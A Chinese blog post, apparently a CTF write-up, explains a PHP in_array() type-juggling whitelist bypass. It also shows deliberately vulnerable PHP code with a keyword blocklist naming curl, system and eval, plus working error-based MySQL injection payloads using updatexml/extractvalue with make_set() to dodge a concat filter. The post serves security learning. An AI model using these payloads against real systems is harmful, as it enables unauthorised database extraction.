由PHP SECURITY CALENDAR 2017引发的思考总结

栏目: PHP · 发布时间: 5年前

内容简介:参数 | 描述| :------ | :------ || search | 必需。规定要在数组搜索的值。 |
  • 作者: panda
  • 浏览次数: 45
  • 时间:
  • in_array(search,array,type)

    参数 | 描述

    | :------ | :------ |

    | search | 必需。规定要在数组搜索的值。 |

    | array | 必需。规定要搜索的数组。 |

    | type | 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。 |

    说明

    如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。 如果没有在数组中找到参数,函数返回 false。

    注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。

    在上例代码中:

    in_array($this->file['name'], $this->whitelist)

    传入了两个参数,第三个参数未设置为"true",也就是说,只需要将变量name设置为数字开头的文件名,就可以绕过检测

    如:9shell.php

    这样的话,PHP在将文件名与数组$ whitelist进行比较时,会将9shell.php转化为9,然后再进行比较。

    0x02 深思

    可以拿一个ctf的例子来详细阐述:

    //index.php
    <?php
    include 'config.php';
    $conn = new mysqli($servername, $username, $password, $dbname);
    if ($conn->connect_error) {
        die("连接失败: ");
    }
    
    $sql = "SELECT COUNT(*) FROM users";
    $whitelist = array();
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        $whitelist = range(1, $row['COUNT(*)']);
    }
    
    $id = stop_hack($_GET['id']);
    $sql = "SELECT * FROM users WHERE id=$id";
    
    if (!in_array($id, $whitelist)) {
        die("id $id is not in whitelist.");
    }
    
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        echo "<center><table border='1'>";
        foreach ($row as $key => $value) {
            echo "<tr><td><center>$key</center></td><br>";
            echo "<td><center>$value</center></td></tr><br>";
        }
        echo "</table></center>";
    }
    else{
        die($conn->error);
    }
    
    ?>
    //config.php
    <?php  
    $servername = "localhost";
    $username = "fire";
    $password = "fire";
    $dbname = "day1";
    
    function stop_hack($value){
        $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
        $back_list = explode("|",$pattern);
        foreach($back_list as $hack){
            if(preg_match("/$hack/i", $value))
                die("$hack detected!");
        }
        return $value;
    }
    ?>

    题目大概的思路就是通过.Svn源码泄露,获取index.php和config.php文件,config.php的关键信息被隐藏,需要审计源码来构造playload获取flag。

    首先看下index.php文件,通过get传入id的值,然后判断传入的id是否在whitelist中,如果不在,返回 id $id is not in whitelist. 如果在,那么执行 SQL 语句,最后返回查询的内容。

    Config.php文件关键点在于一点,stop_hack函数,这是一个过滤函数,主要过滤了字符串拼接函数,导致我们没法直接通过union selct或者常见的hex()等方式来得到flag。

    实际上,这道题考察的内容点为in_array()函数绕过以及不使用字符串拼接来获取flag信息。

    In_array()这里就不用说了,通过上面的例子应该很容易理解如何绕过,这里主要说下如何使用updatexml注入来获取flag。

    UPDATEXML (XML_document, XPath_string, new_value);

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

    第二个参数:XPath_string(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

    第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值

    举个实例的话,大概如下:

    select * from users where id=1 and updatexml(1,concat(0x7c,(select database()),0x7c),1);

    由PHP SECURITY CALENDAR 2017引发的思考总结 这里需要提下:Updatexml函数有个特性,当 updatexml 查询的数据中包含特殊字符或者字母,就会报错,报错信息为特殊字符、字母及之后的内容,如:查询的数据为99panda,那么结果只会显示panda。

    因此这里通过查询database(),返回数据库名,然后CONCAT将其字符串化。因为UpdateXml第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

    最后返回为:

    ERROR 1105 (HY000): XPATH syntax error: '|day1|'

    但是这里遇到一个问题,前面也提到了,字符串拼接函数被过滤了,因此无法使用concat等函数构造语句,只能选择使用不常用的函数——make_set()函数

    MAKE_SET(bits,str1,str2,…)

    返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串。str1对应于位0,str2到第1位,依此类推。在str1,str1有NULL值,…那么不添加到结果。

    由PHP SECURITY CALENDAR 2017引发的思考总结

    举个几个简单的例子,

    由PHP SECURITY CALENDAR 2017引发的思考总结
    Select make_set(1,'a','b','c');

    转换过程如下:

    由PHP SECURITY CALENDAR 2017引发的思考总结

    这里bits参数将转为二进制,1的二进制为0001,倒过来为1000,取比特位为1的字符,若该比特位为空,则不取。所以最终打印a.

    由PHP SECURITY CALENDAR 2017引发的思考总结
    Select make_set(1|4,'a','b','c');

    和上述过程类似,不过这里多了一个"|"运算。

    1的二进制为 0001

    4的二进制为 0100

    两者进行或运算:

    由PHP SECURITY CALENDAR 2017引发的思考总结

    结果为0101,然后再进行翻转,为1010,最后输出的结果为a,c

    综上,updatexml配合make_set()函数来进行处理字符串:

    select updatexml(1,make_set(3,'~',(select flag from flag)),1);

    拼接到playload的最终为:

    由PHP SECURITY CALENDAR 2017引发的思考总结
    1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

    0x03 总结

    实际上,updatexml并不是此题的唯一解法。

    与updatexml相对应的还有一个函数——extractvalue()

    Extractvalue()的详细内容这里就不介绍了,有兴趣的朋友可以执行Google

    利用这个函数,同样可以构造 MySQL 语句为:

    由PHP SECURITY CALENDAR 2017引发的思考总结
    select extractvalue(0x0a,concat(0x0a,( select flag from flag)));

    不过同样需要concat函数,因此改成make_set():

    由PHP SECURITY CALENDAR 2017引发的思考总结
    select extractvalue(0x0a,make_set(3,'~',(select flag from flag)));

    最终playload为:

    由PHP SECURITY CALENDAR 2017引发的思考总结
    1 and (select extractvalue(0x0a,make_set(3,'~',(select flag from flag))))

    当然,make_set()同样不是唯一的,与此类似的还有export_set()、lpad()、reverse()、repeat(),只不过后三个函数用起来有强制要求:所查询的值中,必须至少含有一个特殊字符。

    若使用export_set()代替make_set()函数,最终playload为:

    1 and (select extractvalue(0x0a,export_set(3,'~',(select flag from flag))))

    却发现:

    由PHP SECURITY CALENDAR 2017引发的思考总结

    但是使用MySQL直接查询是可以的:

    由PHP SECURITY CALENDAR 2017引发的思考总结 仔细看了一番,发现export_set()中含有or两个字母,or是被过滤掉的,因此这里不行

    0x04 参考

    PHP SECURITY CALENDAR 2017

    MySQL MAKE_SET() function

    MySQL updatexml报错注入

    学习基于extractvalue()和updatexml()的报错注入

    PHP-Audit-Labs

    updatexml injection without concat


    以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

    查看所有标签

    猜你喜欢:

    本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

    鸟哥的Linux私房菜

    鸟哥的Linux私房菜

    鸟哥 / 机械工业出版社 / 2008-1 / 88.00元

    《鸟哥的Linux私房菜:服务器架设篇(第2版)》是对连续三年蝉联畅销书排行榜前10名的《Linux鸟哥私房菜一服务器架设篇》的升级版,新版本根据目前服务器与网络环境做了大幅度修订与改写。 全书共3部分,第1部分为架站前的进修专区,包括在架设服务器前必须具备的网络基础知识、Linux常用网络命令、Linux网络侦错步骤,以及服务器架站流程:第2部分为主机的简易防火措施,包括限制Linux对......一起来看看 《鸟哥的Linux私房菜》 这本书的介绍吧!

    XML、JSON 在线转换
    XML、JSON 在线转换

    在线XML、JSON转换工具

    HSV CMYK 转换工具
    HSV CMYK 转换工具

    HSV CMYK互换工具